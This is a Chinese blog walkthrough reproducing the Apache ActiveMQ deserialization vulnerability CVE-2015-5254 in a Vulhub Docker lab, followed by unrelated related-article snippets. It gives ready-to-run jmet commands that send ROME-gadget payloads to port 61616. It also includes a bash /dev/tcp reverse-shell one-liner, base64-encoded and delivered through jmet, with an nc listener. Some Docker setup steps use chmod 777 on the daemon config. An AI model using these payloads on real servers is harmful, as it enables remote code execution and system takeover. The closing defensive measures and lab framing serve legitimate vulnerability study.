ActiveMQ 反序列化漏洞CVE-2015-5254复现

文章目录

      • 一、产生原因
      • 二、利用条件
      • 三、利用过程
      • 四、PoC(概念验证)
      • 五、poc环境验证
        • 使用find搜索vulhub已安装目录
        • 打开activeMQ组件
        • 查看配置文件端口
        • 启动镜像-文件配置好后
        • 对于Docker 镜像下载问题及解决办法
        • 设置好镜像源地址,进行重启docker
        • 查看docker容器状态
        • 5.1 docker拉取资源
        • 5.2 访问漏洞环境
        • 5.3 进行攻击靶场
        • 5.4 反弹shell
      • 六、防御措施

ActiveMQ反序列化漏洞(CVE-2015-5254)是一个严重的安全漏洞,以下是对该漏洞的产生原因、利用条件和过程以及PoC(Proof of Concept,概念验证)的详细分析:

[漏洞环境搭建]:Vulhub - Docker-Compose file for vulnerability environment
[搭建Vulhub和jdk和docker环境参考]:(https://blog.csdn.net/m0_59839948/article/details/141931317)

一、产生原因

Apache ActiveMQ是由美国Apache软件基金会开发的开源消息传递中间件,它支持Java消息传递服务、集群、Spring框架等。

CVE-2015-5254漏洞的产生原因是Apache ActiveMQ在5.13.0之前的5.x版本中,程序没有限制可在代理中序列化的类。这意味着远程攻击者可以构造特制的序列化的Java消息服务(JMS)ObjectMessage对象,并通过该漏洞在目标系统上执行任意代码。

首先是 org.apache.activemq.util.JMSExceptionSupport.createSerializableException() 方法中的缺陷,该方法将 JMSException 异常对象序列化为字节数组,这个字节数组包含了 cause 内的异常和 message 内的信息。攻击者可以构造精心设计的 cause 和 message 来注入恶意代码。接着,ActiveMQ 的 BlobMessage 与 ActiveMQMessage 消息类型中,也存在缺陷,它们并没有充分校验所接收消息的类型和信息,而是直接调用了 JMSExceptionSupport.createSerializableException() 方法将 JMSException 对象序列化为字节数组,从而使得攻击者可以执行任意代码。

二、利用条件

要利用CVE-2015-5254漏洞,攻击者需要满足以下条件:

  1. 目标系统需要运行Apache ActiveMQ 5.13.0之前的5.x版本。
  2. 攻击者需要能够向目标ActiveMQ服务器发送JMS消息。
  3. 攻击者需要构造并发送包含恶意序列化数据的JMS ObjectMessage。

三、利用过程

CVE-2015-5254漏洞的利用过程大致如下:

  1. 构造恶意消息:攻击者首先使用工具(如ysoserial)构造一个包含恶意代码的序列化JMS ObjectMessage。这个恶意代码可以是任何能够在目标系统上执行的命令。
  2. 发送恶意消息:攻击者将构造好的恶意消息发送到目标ActiveMQ服务器的61616端口(这是ActiveMQ的默认工作端口,用于消息传递)。
  3. 触发漏洞:当ActiveMQ服务器接收到这个恶意消息并尝试对其进行反序列化时,会触发漏洞,导致恶意代码在目标系统上执行。
  4. 执行任意代码:一旦恶意代码被执行,攻击者就可以在目标系统上执行任意操作,如窃取敏感数据、部署恶意软件或发起其他攻击。

四、PoC(概念验证)

以下是一个简单的PoC示例,展示了如何利用CVE-2015-5254漏洞在目标系统上执行任意命令:

  1. 下载并配置jmet工具:首先,攻击者需要下载jmet工具(一个用于利用ActiveMQ反序列化漏洞的工具)。然后,在同目录下创建一个external文件夹(这是jmet工具的要求,否则可能会出现文件夹不存在的错误))。

  2. 构造并发送恶意消息:jmet–》jmet-0.1.0-all下载,jmet是使用ysoserial来生成Payload并发送的(jar自带ysoserial,我们不需要再下载),所以我们需要选择一个可以在ysoserial中使用的小工具,比如ROME。 使用jmet工具构造一个包含恶意命令的序列化JMS ObjectMessage,并将其发送到目标ActiveMQ服务器的61616端口。例如,可以使用以下命令来构造并发送一个包含“touch /tmp/success”命令的恶意消息:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME target_ip 61616
    

    其中,-Q指定队列消息名,-I选择要装载的JMS客户端(这里是ActiveMQ),-s是选择ysoserial payload,-Y指定具体的命令,-Yp指定payload类型(这里是ROME),target_ip是目标ActiveMQ服务器的IP地址,61616是目标ActiveMQ服务器的工作端口。

  3. 验证漏洞利用是否成功:攻击者可以通过访问目标系统的/tmp目录来检查是否成功创建了名为“success”的文件。如果文件存在,则说明漏洞利用成功。

五、poc环境验证

使用find搜索vulhub已安装目录
find . -type d -name "vulhub"  
-- . 表示当前目录,-type d 表示搜索类型为目录sudo find / -type d -name "vulhub" 2>/dev/null-- 2>/dev/null 是为了将错误消息(例如权限不足的目录)重定向到空设备,以避免干扰搜索结果。
打开activeMQ组件
/home/kali/vulhub/activemq/CVE-2015-5254

在这里插入图片描述

查看配置文件端口

在这里插入图片描述

启动镜像-文件配置好后
sudo docker-compose up -d   # -d是后台运行

在这里插入图片描述

对于Docker 镜像下载问题及解决办法

参考:https://blog.csdn.net/weixin_53742691/article/details/143176183
在 /etc/docker/daemon.json 文件中添加以下内容,以设置镜像加速器:

  {"registry-mirrors" : ["https://jkfdsf2u.mirror.aliyuncs.com","https://registry.docker-cn.com"],"insecure-registries" : ["docker-registry.zjq.com"],"log-driver": "json-file","log-opts": {"max-size": "10m","max-file": "10"},"data-root": "/data/docker"} 
设置好镜像源地址,进行重启docker
1. cd /etc/docker/2. 创建一个docker 的配置文件:daemon.json(要是存在就不需要创建了)
touch daemon.json3. 给予权限; chmod 777 daemon.json4.编辑 daemon.json,添加阿里云源vi daemon.json
输入时按i健,然后进行替换,完成之后按Esc健进行退出,再按:wq!进行保存退出
{"registry-mirrors": ["https://alzgoonw.mirror.aliyuncs.com"]}清理docker缓存
sudo docker system prune5.完成以上步骤,接下来重新加载文件和重启docker
systemctl daemon-reload
systemctl restart docker
查看docker容器状态
sudo  docker ps -a  # 查看docker的启动服务
sudo docker stop 128e    #128e是docker容器id的缩写

在这里插入图片描述

5.1 docker拉取资源

在这里插入图片描述

sudo  docker ps -a  # 查看docker的启动服务

在这里插入图片描述

5.2 访问漏洞环境

用本地机访问kali中docker容器中MQ,已成功部署

在这里插入图片描述

可以看到主页,然后点击Manage ActiveMQ broker 进入到登录界面,用户名和密码都是admin

在这里插入图片描述

登录成功,Queues的消息队列是空的

在这里插入图片描述

5.3 进行攻击靶场
构建攻击payload:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
cd /opt
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

在这里插入图片描述

到kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/weig_test" -Yp ROME 192.168.225.166 61616 

在这里插入图片描述

看到队列里出现了一个event新的任务

在这里插入图片描述

点进event,点进去任务详情触发

在这里插入图片描述

进入docker检验漏洞是否存在,看看/tmp下面是否有我们写入的文件先查看docker的进程:

docker ps -a 

在这里插入图片描述

进入容器:docker exec -it 128eab244067 /bin/bash ,进入到‘/tmp’目录可以看到weig_test文件存在,说明漏洞利用成功

docker exec -it 128eab244067  /bin/bash

在这里插入图片描述

5.4 反弹shell

可以看到文件被成功写入,确认漏洞之后就可以进行getshell,更换一下命令即可。

echo "bash -i >& /dev/tcp/192.168.225.166/5555 0>&1" >/tmp/shell.sh && bash /tmp/shell.sh   # ip是攻击机kali地址echo: 这个命令用于输出的字符串。
bash -i: 启动一个交互式的 Bash shell。
/dev/tcp/ 是一个伪设备,用于在 Bash 中实现 TCP 连接。
>& /dev/tcp/192.168.225.166/5555: 利用 Bash 的特殊功能,通过 TCP 连接到 IP 地址为 192.168.225.166,端口号为 5555 的服务器。
0>&1: 这是重定向的一部分,将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1),确保 shell 会话中的交互能够正常工作。
>/tmp/shell.sh: 这将 echo 命令的输出重定向到 /tmp/shell.sh 文件中,而不是显示在终端上

编码base64

ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.225.166 61616

在这里插入图片描述
进行点击
在这里插入图片描述
点击这个ID号
在这里插入图片描述
进入此页面,已触发
在这里插入图片描述
使用kali进行监听端口,当点击详情后成功反弹shell

nc -lvnp 5555

在这里插入图片描述
反弹shell成功,至此漏洞复现完成。

六、防御措施

为了防范CVE-2015-5254漏洞,建议采取以下防御措施:

  1. 升级ActiveMQ版本:尽快将ActiveMQ升级到5.13.0或更高版本,以修复该漏洞。
  2. 限制消息类型:在ActiveMQ的配置中限制可接受的消息类型,避免接受未知的或不受信任的消息类型。
  3. 加强访问控制:配置防火墙规则以限制对ActiveMQ服务器的访问,确保只有受信任的用户或系统能够发送消息到ActiveMQ服务器。
  4. 监控和日志记录:启用ActiveMQ的监控和日志记录功能,以便及时发现并响应可疑活动。

综上所述,CVE-2015-5254漏洞是一个严重的安全威胁,用户应尽快采取措施进行修复和防范。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/63205.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

shardingsphere分库分表跨库访问 添加分片规则

shardingsphere分库分表跨库访问 添加分片规则 建立 JDBC 环境 创建表 t_order: CREATE TABLE t_order (tid bigint(20) NOT NULL,tname varchar(255) DEFAULT NULL,goods_id bigint(20) DEFAULT NULL,tstatus varchar(255) DEFAULT NULL,PRIMARY KEY (tid) ) E…

C++ 中,构造函数、拷贝构造函数和移动构造函数区别

在 C 中,构造函数、拷贝构造函数和移动构造函数是类中用于对象初始化的三种不同类型的构造函数。它们的功能和使用场景有所不同,下面详细解释它们之间的区别。 1. 构造函数 (Constructor) 定义: 构造函数是一个特殊的成员函数,用…

MYSQL执行一条update语句,期间发生了什么

客户端先通过连接器建立连接,连接器自会判断用户身份; 因为这是一条 update 语句,所以不需要经过查询缓存,但是表上有更新语句,是会把整个表的查询缓存清空的,所以说查询缓存很鸡肋,在 MySQL 8…

vue3监听横向滚动条的位置;鼠标滚轮滑动控制滚动条滚动;监听滚动条到顶端

1.横向取值scrollLeft 竖向取值scrollTop 2.可以监听到最左最右侧 3.鼠标滚轮滑动控制滚动条滚动 效果 <template><div><div class"scrollable" ref"scrollableRef"><!-- 内容 --><div style"width: 2000px; height: 100…

深入理解MyBatis的Mapper层:让数据访问更高效

目录 1. 什么是MyBatis的Mapper层&#xff1f; 1.1 典型的Mapper层结构 1.2 示例&#xff1a;一个简单的用户管理系统 2. 创建Mapper层 2.1 创建实体类 2.2 创建Mapper接口 2.3 创建Mapper XML文件&#xff08;可选&#xff09; 2.4 配置MyBatis的SQL映射 3. 使用Mapp…

WPF xaml 文件详解

<div id"content_views" class"htmledit_views"><h2><a name"t0"></a>1.总述</h2> 创建好了WPF项目后&#xff0c;最重要的是对 App和MainWindow的理解&#xff0c;在一开始的时候&#xff0c;极容易就直接在Main…

鸿蒙开发-ArkTS 创建自定义组件

在 ArkTS 中创建自定义组件是一个相对简单但功能强大的过程。以下是如何在 ArkTS 中创建和使用自定义组件的详细步骤&#xff1a; 一、定义自定义组件 使用Component注解&#xff1a;为了注册一个组件&#xff0c;使其能够在其他文件中被引用&#xff0c;你需要使用Component…

Golang学习笔记_05——延迟调用

Golang学习笔记_02——函数 Golang学习笔记_03——匿名函数和闭包 Golang学习笔记_04——递归函数 文章目录 延迟调用1. 延迟调用1.1 使用场景1.2 示例 2. panic2.1 使用场景2.2 示例 3. recover3.1 使用场景3.2 示例 源码 延迟调用 在Go语言中&#xff0c;延迟调用&#xff0…

防范TCP攻击:策略与实践

TCP&#xff08;传输控制协议&#xff09;是互联网通信的核心协议之一&#xff0c;它确保了数据在网络上的可靠传输。然而&#xff0c;TCP也容易成为各种网络攻击的目标&#xff0c;如SYN洪水攻击、TCP连接耗尽攻击等。本文将探讨如何通过配置防火墙规则、优化服务器设置以及采…

水表的数字表盘分割数据集labelme格式3023张13类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;3023 标注数量(json文件个数)&#xff1a;3023 标注类别数&#xff1a;13 标注类别名称:["readbox_1","center",&q…

【go语言】reflect包与类型推断

reflect 包的核心概念 Go 中的反射涉及两个核心概念&#xff1a; Type&#xff1a;表示一个类型的结构体&#xff0c;reflect.Type 是类型的描述。Value&#xff1a;表示一个值的结构体&#xff0c;reflect.Value 是一个具体值的包装。 反射让我们能够动态地访问对象的类型和…

跟着AI 学 AI, 开发一个ChatBot, 集成 Json 数据和查询

按照规律&#xff0c;使用AI生成一个架构图 直接上代码&#xff0c;为了方便学习&#xff0c;直接按照如下方式&#xff0c;复制到你的开发环境即可调试&#xff0c;运行代码。做学习参考。 代码注释多次说明这里&#xff0c;不在赘述。 "type": "carousel&qu…

WPF+MVVM案例实战与特效(三十七)- 实现带有水印和圆角的自定义 TextBox 控件

文章目录 1、概述2、案例实现1、基本功能2、代码实现3、控件应用4、案例效果4、总结1、概述 在开发用户界面时,TextBox 是最常见的输入控件之一。为了提升用户体验,我们经常需要为 TextBox 添加一些额外的功能,例如显示提示文本(水印)和设置圆角边框。本文将详细介绍如何…

使用枚举实现单例模式,不会反序列化破坏攻击,不会被反射破坏攻击。(附带枚举单例的简单实现)

原因分析 1.反序列化方法 ① jdk8中的Enum源码中对反序列化方法进行重写&#xff0c;抛出异常。 java.lang.Enum#readObject方法截图如下 ②java.io.ObjectInputStream#readObject 方法中的 readEnum 方法处理了枚举类型的反序列化&#xff0c;从而确保了枚举的单例特性。 …

Linux下的守护程序

启动流程 嵌入式设备下Linux的内核系统启动的流程并不复杂&#xff0c;从最早的父进程init开始&#xff0c;为创建各种服务进程&#xff1a;系统会从 inittab 文件中&#xff0c;读取每一行作为执行命令&#x1f447; # Note: BusyBox init doesnt support runlevels. The r…

2024第十六届蓝桥杯模拟赛(第二期)-Python

# 2024第十六届蓝桥杯模拟赛&#xff08;第二期&#xff09;-Python题解 # 自己改注释# -----------------------1------------------------ # def prime(x): # if x < 2: # return 0 # for i in range(2, int(x ** 0.5) 1): # if x % i 0: # …

MongoDB-副本集

一、什么是 MongoDB 副本集&#xff1f; 1.副本集的定义 MongoDB 的副本集&#xff08;Replica Set&#xff09;是一组 MongoDB 服务器实例&#xff0c;它们存储同一数据集的副本&#xff0c;确保数据的高可用性和可靠性。副本集中的每个节点都有相同的数据副本&#xff0c;但…

《数据结构》(408代码题)

2009 单链表&#xff08;双指针&#xff09; 分析&#xff1a;首先呢&#xff0c;给我们的数据结构是一个带有表头结点的单链表&#xff0c;也不允许我们改变链表的结构。链表的长度不是直接给出的啊&#xff0c;所以这个倒数也很棘手。那我们该如何解决这个“k”呢&#xff0c…

6.1 初探MapReduce

MapReduce是一种分布式计算框架&#xff0c;用于处理大规模数据集。其核心思想是“分而治之”&#xff0c;通过Map阶段将任务分解为多个简单任务并行处理&#xff0c;然后在Reduce阶段汇总结果。MapReduce编程模型包括Map和Reduce两个阶段&#xff0c;数据来源和结果存储通常在…

Cad c#.net 一键修改标注dimension中的文本内容

本例为给标注加前缀&#xff0c;也可定制其他形式&#xff0c;效果如下&#xff1a; public class Demo{[CommandMethod("xx")]//public void Dim(){Document doc Application.DocumentManager.MdiActiveDocument;Database db doc.Database;Editor ed doc.Editor;…